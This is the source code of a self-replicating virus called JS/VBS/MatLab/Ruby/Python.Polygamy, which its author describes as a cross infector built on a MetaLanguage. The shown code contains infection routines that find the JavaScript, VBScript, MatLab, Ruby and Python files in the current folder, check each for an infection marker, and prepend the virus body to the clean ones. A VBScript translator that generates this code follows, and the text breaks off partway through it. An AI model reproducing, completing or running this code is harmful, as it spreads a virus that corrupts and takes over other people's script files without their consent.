////////////////////////////////////////////////////////////////////////////// // // JS/VBS/MatLab/Ruby/Python.Polygamy // by Second Part To Hell // July 2013 // // This is a five-language cross infector for JavaScript, VBScript, MatLab, // Ruby and Python - using a special MetaLanguage. // // The virus contains the infection-routines for every language written in a // MetaLanguage. The MetaLanguage is translated into actual code with a // language-dependent translator (therefor there are five independent // translators in this code). // // The main reason for this concept is the linear scaling of code-size and // complexity with the number of languages. That means, adding a 6th language // is as simple as adding the 2nd language. I hope I will see additional // translators for other languages some day. :) // // For more infos, see my text "Cross Script Infection using MetaLanguages" in // valhalla#4. // ////////////////////////////////////////////////////////////////////////////// metaLanguage="Predefined"; metaLanguage+="__AddML"; metaLanguage+="__Forall js"; metaLanguage+="__ GetFileName fileName"; metaLanguage+="__ ReadAll allContent fileName"; metaLanguage+="__ Def infectionMarkerJS"; metaLanguage+="__ AddString infectionMarkerJS metaLanguage"; metaLanguage+="__ Exist doesExist allContent infectionMarkerJS"; metaLanguage+="__ If doesExist < 0"; metaLanguage+="__ Def newCodeJS"; metaLanguage+="__ AddString newCodeJS metaLanguage="; metaLanguage+="__ AddChar newCodeJS 39 39"; metaLanguage+="__ AddString newCodeJS ;translatorJS="; metaLanguage+="__ AddChar newCodeJS 39 39"; metaLanguage+="__ AddString newCodeJS ;translatorVBS="; metaLanguage+="__ AddChar newCodeJS 39 39"; metaLanguage+="__ AddString newCodeJS ;translatorMatLab="; metaLanguage+="__ AddChar newCodeJS 39 39"; metaLanguage+="__ AddString newCodeJS ;translatorRuby="; metaLanguage+="__ AddChar newCodeJS 39 39"; metaLanguage+="__ AddString newCodeJS ;translatorPython="; metaLanguage+="__ AddChar newCodeJS 39 39 59"; metaLanguage+="__ AddStringAsChar newCodeJS metaLanguage+=String.fromCharCode( metaLanguage , );"; metaLanguage+="__ AddStringAsChar newCodeJS translatorJS+=String.fromCharCode( translatorJS , );"; metaLanguage+="__ AddStringAsChar newCodeJS translatorVBS+=String.fromCharCode( translatorVBS , );"; metaLanguage+="__ AddStringAsChar newCodeJS translatorMatLab+=String.fromCharCode( translatorMatLab , );"; metaLanguage+="__ AddStringAsChar newCodeJS translatorRuby+=String.fromCharCode( translatorRuby , );"; metaLanguage+="__ AddStringAsChar newCodeJS translatorPython+=String.fromCharCode( translatorPython , );"; metaLanguage+="__ Arithmetic newCodeJS newCodeJS + translatorJS"; metaLanguage+="__ Arithmetic newCodeJS newCodeJS + allContent"; metaLanguage+="__ Write fileName newCodeJS"; metaLanguage+="__ XX" metaLanguage+="__XX" metaLanguage+="__Forall vbs"; metaLanguage+="__ GetFileName fileName"; metaLanguage+="__ ReadAll allContent fileName"; metaLanguage+="__ Def infectionMarkerVBS"; metaLanguage+="__ AddString infectionMarkerVBS metaLanguage"; metaLanguage+="__ Exist doesExist allContent infectionMarkerVBS"; metaLanguage+="__ If doesExist < 0"; metaLanguage+="__ Def newCodeVBS"; metaLanguage+="__ AddString newCodeVBS Dim" metaLanguage+="__ AddChar newCodeVBS 32" metaLanguage+="__ AddString newCodeVBS metaLanguage,translatorJS,translatorVBS,translatorMatLab,translatorRuby,translatorPython"; metaLanguage+="__ AddChar newCodeVBS 13 10" metaLanguage+="__ AddStringAsChar newCodeVBS metaLanguage=metaLanguage+Chr( metaLanguage )+Chr( )"; metaLanguage+="__ AddStringAsChar newCodeVBS translatorJS=translatorJS+Chr( translatorJS )+Chr( )"; metaLanguage+="__ AddStringAsChar newCodeVBS translatorVBS=translatorVBS+Chr( translatorVBS )+Chr( )"; metaLanguage+="__ AddStringAsChar newCodeVBS translatorMatLab=translatorMatLab+Chr( translatorMatLab )+Chr( )"; metaLanguage+="__ AddStringAsChar newCodeVBS translatorRuby=translatorRuby+Chr( translatorRuby )+Chr( )"; metaLanguage+="__ AddStringAsChar newCodeVBS translatorPython=translatorPython+Chr( translatorPython )+Chr( )"; metaLanguage+="__ Arithmetic newCodeVBS newCodeVBS + translatorVBS"; metaLanguage+="__ Arithmetic newCodeVBS newCodeVBS + allContent"; metaLanguage+="__ Write fileName newCodeVBS"; metaLanguage+="__ XX" metaLanguage+="__XX" metaLanguage+="__Forall m"; metaLanguage+="__ GetFileName fileName"; metaLanguage+="__ ReadAll allContent fileName"; metaLanguage+="__ Def infectionMarkerMatLab"; metaLanguage+="__ AddString infectionMarkerMatLab metaLanguage"; metaLanguage+="__ Exist doesExist allContent infectionMarkerMatLab"; metaLanguage+="__ If doesExist < 0"; metaLanguage+="__ Def newCodeMatLab"; metaLanguage+="__ AddString newCodeMatLab metaLanguage=[];translatorJS=[];translatorVBS=[];translatorMatLab=[];translatorRuby=[];translatorPython=[];"; metaLanguage+="__ AddChar newCodeMatLab 13 10" metaLanguage+="__ AddStringAsChar newCodeMatLab metaLanguage=[metaLanguage,char([ metaLanguage , ])];"; metaLanguage+="__ AddStringAsChar newCodeMatLab translatorJS=[translatorJS,char([ translatorJS , ])];"; metaLanguage+="__ AddStringAsChar newCodeMatLab translatorVBS=[translatorVBS,char([ translatorVBS , ])];"; metaLanguage+="__ AddStringAsChar newCodeMatLab translatorMatLab=[translatorMatLab,char([ translatorMatLab , ])];"; metaLanguage+="__ AddStringAsChar newCodeMatLab translatorRuby=[translatorRuby,char([ translatorRuby , ])];"; metaLanguage+="__ AddStringAsChar newCodeMatLab translatorPython=[translatorPython,char([ translatorPython , ])];"; metaLanguage+="__ AddString newCodeMatLab h=fopen("; metaLanguage+="__ AddChar newCodeMatLab 39"; metaLanguage+="__ AddString newCodeMatLab createBlockOfCode.m"; metaLanguage+="__ AddChar newCodeMatLab 39 44 39 119 39"; metaLanguage+="__ AddString newCodeMatLab );fwrite(h,translatorMatLab);fclose(h);rehash;xx={};ML=[char([95,95]),metaLanguage];SplitOffset=[strfind(ML,char([95,95])),length(ML)+1];for"; metaLanguage+="__ AddChar newCodeMatLab 32"; metaLanguage+="__ AddString newCodeMatLab i=1:length(SplitOffset)-1;xx{end+1}=ML(SplitOffset(i)+2:SplitOffset(i+1)-1);end;eval(createBlockOfCode(xx,metaLanguage,translatorJS,translatorVBS,translatorMatLab,translatorRuby,translatorPython));delete("; metaLanguage+="__ AddChar newCodeMatLab 39"; metaLanguage+="__ AddString newCodeMatLab createBlockOfCode.m"; metaLanguage+="__ AddChar newCodeMatLab 39"; metaLanguage+="__ AddString newCodeMatLab );"; metaLanguage+="__ AddChar newCodeMatLab 13 10"; metaLanguage+="__ Arithmetic newCodeMatLab newCodeMatLab + allContent"; metaLanguage+="__ Write fileName newCodeMatLab"; metaLanguage+="__ XX" metaLanguage+="__XX" metaLanguage+="__Forall rb"; metaLanguage+="__ GetFileName fileName"; metaLanguage+="__ ReadAll allContent fileName"; metaLanguage+="__ Def infectionMarkerRuby"; metaLanguage+="__ AddString infectionMarkerRuby metaLanguage"; metaLanguage+="__ Exist doesExist allContent infectionMarkerRuby"; metaLanguage+="__ If doesExist < 0"; metaLanguage+="__ Def newCodeRuby"; metaLanguage+="__ AddString newCodeRuby metaLanguage="; metaLanguage+="__ AddChar newCodeRuby 39 39"; metaLanguage+="__ AddString newCodeRuby ;translatorJS="; metaLanguage+="__ AddChar newCodeRuby 39 39"; metaLanguage+="__ AddString newCodeRuby ;translatorVBS="; metaLanguage+="__ AddChar newCodeRuby 39 39"; metaLanguage+="__ AddString newCodeRuby ;translatorMatLab="; metaLanguage+="__ AddChar newCodeRuby 39 39"; metaLanguage+="__ AddString newCodeRuby ;translatorRuby="; metaLanguage+="__ AddChar newCodeRuby 39 39"; metaLanguage+="__ AddString newCodeRuby ;translatorPython="; metaLanguage+="__ AddChar newCodeRuby 39 39"; metaLanguage+="__ AddChar newCodeRuby 13 10" metaLanguage+="__ AddStringAsChar newCodeRuby metaLanguage<< metaLanguage .chr<< .chr;"; metaLanguage+="__ AddStringAsChar newCodeRuby translatorJS<< translatorJS .chr<< .chr;"; metaLanguage+="__ AddStringAsChar newCodeRuby translatorVBS<< translatorVBS .chr<< .chr;"; metaLanguage+="__ AddStringAsChar newCodeRuby translatorMatLab<< translatorMatLab .chr<< .chr;"; metaLanguage+="__ AddStringAsChar newCodeRuby translatorRuby<< translatorRuby .chr<< .chr;"; metaLanguage+="__ AddStringAsChar newCodeRuby translatorPython<< translatorPython .chr<< .chr;"; metaLanguage+="__ Arithmetic newCodeRuby newCodeRuby + translatorRuby"; metaLanguage+="__ Arithmetic newCodeRuby newCodeRuby + allContent"; metaLanguage+="__ Write fileName newCodeRuby"; metaLanguage+="__ XX" metaLanguage+="__XX" metaLanguage+="__Forall py"; metaLanguage+="__ GetFileName fileName"; metaLanguage+="__ ReadAll allContent fileName"; metaLanguage+="__ Def infectionMarkerPython"; metaLanguage+="__ AddString infectionMarkerPython metaLanguage"; metaLanguage+="__ Exist doesExist allContent infectionMarkerPython"; metaLanguage+="__ If doesExist < 0"; metaLanguage+="__ Def newCodePython"; metaLanguage+="__ AddString newCodePython metaLanguage="; metaLanguage+="__ AddChar newCodePython 39 39"; metaLanguage+="__ AddString newCodePython ;translatorJS="; metaLanguage+="__ AddChar newCodePython 39 39"; metaLanguage+="__ AddString newCodePython ;translatorVBS="; metaLanguage+="__ AddChar newCodePython 39 39"; metaLanguage+="__ AddString newCodePython ;translatorMatLab="; metaLanguage+="__ AddChar newCodePython 39 39"; metaLanguage+="__ AddString newCodePython ;translatorRuby="; metaLanguage+="__ AddChar newCodePython 39 39"; metaLanguage+="__ AddString newCodePython ;translatorPython="; metaLanguage+="__ AddChar newCodePython 39 39"; metaLanguage+="__ AddChar newCodePython 13 10" metaLanguage+="__ AddStringAsChar newCodePython metaLanguage+=chr( metaLanguage )+chr( )"; metaLanguage+="__ AddStringAsChar newCodePython translatorJS+=chr( translatorJS )+chr( )"; metaLanguage+="__ AddStringAsChar newCodePython translatorVBS+=chr( translatorVBS )+chr( )"; metaLanguage+="__ AddStringAsChar newCodePython translatorMatLab+=chr( translatorMatLab )+chr( )"; metaLanguage+="__ AddStringAsChar newCodePython translatorRuby+=chr( translatorRuby )+chr( )"; metaLanguage+="__ AddStringAsChar newCodePython translatorPython+=chr( translatorPython )+chr( )"; metaLanguage+="__ Arithmetic newCodePython newCodePython + translatorPython"; metaLanguage+="__ Arithmetic newCodePython newCodePython + allContent"; metaLanguage+="__ Write fileName newCodePython"; metaLanguage+="__ XX" metaLanguage+="__XX" nl=String.fromCharCode(13,10) translatorVBS='Function createBlockOfCode(CodeBlockArray)'+nl; translatorVBS+=' Dim RString, i'+nl; translatorVBS+=' RString=""'+nl; translatorVBS+=' For i=0 To UBound(CodeBlockArray)'+nl; translatorVBS+=' LineCode=Split(CodeBlockArray(i),Chr(32))'+nl; translatorVBS+=' If LineCode(0)="Predefined" Then'+nl; translatorVBS+=' RString=RString+"set fso=CreateObject("+Chr(34)+"Scripting.FileSystemObject"+Chr(34)+")"+nl'+nl; translatorVBS+=' End If'+nl; translatorVBS+=''+nl; translatorVBS+=' If LineCode(0)="Forall" Then'+nl; translatorVBS+=' RString=RString+"For Each x in fso.getfolder("+Chr(34)+"."+Chr(34)+").files"+nl'+nl; translatorVBS+=' RString=RString+"If lcase(fso.getextensionname(x))="+Chr(34)+LineCode(1)+Chr(34)+" Then"+nl'+nl; translatorVBS+=' Dim j, NewBlock'+nl; translatorVBS+=' NewBlock=Array()'+nl; translatorVBS+=' j=i+1'+nl; translatorVBS+=' Do While Left(CodeBlockArray(j),2)=" "'+nl; translatorVBS+=' ReDim Preserve NewBlock(UBound(NewBlock) + 1)'+nl; translatorVBS+=' NewBlock(UBound(NewBlock))=Mid(CodeBlockArray(j),3)'+nl; translatorVBS+=' j=j+1'+nl; translatorVBS+=' Loop'+nl; translatorVBS+=' RString=RString+createBlockOfCode(NewBlock)'+nl; translatorVBS+=' RString=RString+"End If"+nl'+nl; translatorVBS+=' RString=RString+"Next"+nl'+nl; translatorVBS+=' End If'+nl; translatorVBS+=''+nl; translatorVBS+=' If LineCode(0)="If" Then'+nl; translatorVBS+=' RString=RString+"If "+LineCode(1)+LineCode(2)+LineCode(3)+" Then"+nl'+nl; translatorVBS+=' Dim k, NewBlockIf'+nl; translatorVBS+=' NewBlockIf=Array()'+nl; translatorVBS+=' k=i+1'+nl; translatorVBS+=' Do While Left(CodeBlockArray(k),2)=" "'+nl; translatorVBS+=' ReDim Preserve NewBlockIf(UBound(NewBlockIf) + 1)'+nl; translatorVBS+=' NewBlockIf(UBound(NewBlockIf))=Mid(CodeBlockArray(k),3)'+nl; translatorVBS+=' k=k+1'+nl; translatorVBS+=' Loop'+nl; translatorVBS+=' RString=RString+createBlockOfCode(NewBlockIf)'+nl; translatorVBS+=' RString=RString+"End If"+nl'+nl; translatorVBS+=' End If'+nl; translatorVBS+=''+nl; translatorVBS+=' If LineCode(0)="GetFileName" Then'+nl; translatorVBS+=' RString=RString+LineCode(1)+"=x"+nl'+nl; translatorVBS+=' End If'+nl; translatorVBS+=''+nl; translatorVBS+=' If LineCode(0)="ReadAll" Then'+nl; translatorVBS+=' RString=RString+LineCode(1)+"=fso.opentextfile("+LineCode(2)+").readall"+nl'+nl; translatorVBS+=' End If'+nl; translatorVBS+=''+nl; translatorVBS+=' If LineCode(0)="Exist" Then'+nl; translatorVBS+=' RString=RString+LineCode(1)+"=InStr("+LineCode(2)+","+LineCode(3)+")-1"+nl'+nl; translatorVBS+=' End If'+nl; translatorVBS+=''+nl; translatorVBS+=' If LineCode(0)="Def" Then'+nl; translatorVBS+=' RString=RString+"Dim "+LineCode(1)+nl'+nl; translatorVBS+=' RString=RString+LineCode(1)+"="+Chr(34)+Chr(34)+nl'+nl; translatorVBS+=' End If'+nl; translatorVBS+=''+nl; translatorVBS+=' If LineCode(0)="Arithmetic" Then'+nl; translatorVBS+=' RString=RString+LineCode(1)+"="+LineCode(2)+LineCode(3)+LineCode(4)+nl'+nl; translatorVBS+=' End If'+nl; translatorVBS+=''+nl; translatorVBS+=' If LineCode(0)="Write" Then'+nl; translatorVBS+=' RString=RString+"fso.opentextfile("+LineCode(1)+",2).write "+LineCode(2)+nl'+nl; translatorVBS+=' End If'+nl; translatorVBS+=''+nl; translatorVBS+=' If LineCode(0)="AddString" Then'+nl; translatorVBS+=' RString=RString+LineCode(1)+"="+LineCode(1)+"+"+Chr(34)+LineCode(2)+Chr(34)+nl'+nl; translatorVBS+=' End If'+nl; translatorVBS+=''+nl; translatorVBS+=' If LineCode(0)="AddChar" Then'+nl; translatorVBS+=' RString=RString+LineCode(1)+"="+LineCode(1)'+nl; translatorVBS+=' Dim n'+nl; translatorVBS+=' For n=2 To UBound(LineCode)'+nl; translatorVBS+=' RString=RString+"+Chr("+LineCode(n)+")"'+nl; translatorVBS+=' Next'+nl; translatorVBS+=' RString=RString+nl'+nl; translatorVBS+=' End If'+nl; translatorVBS+=''+nl; translatorVBS+=' If LineCode(0)="AddML" Then'+nl; translatorVBS+=' RString=RString+"metaLanguage="'+nl; translatorVBS+=' Dim l'+nl; translatorVBS+=' For l=1 To Len(metaLanguage)'+nl; translatorVBS+=' RString=RString+"Chr("'+nl; translatorVBS+=' RString=RString+CStr(Asc(Mid(metaLanguage,l,1)))'+nl; translatorVBS+=' RString=RString+")+"'+nl; translatorVBS+=' Next'+nl; translatorVBS+=' RString=Left(RString,Len(RString)-1)+nl'+nl; translatorVBS+=' End If'+nl; translatorVBS+=''+nl; translatorVBS+=' If LineCode(0)="AddStringAsChar" Then'+nl; translatorVBS+=' Dim StringTrafo, m, TmpVar, qq'+nl; translatorVBS+=' StringTrafo=Eval(LineCode(3))'+nl; translatorVBS+=' qq=1'+nl; translatorVBS+=' While qq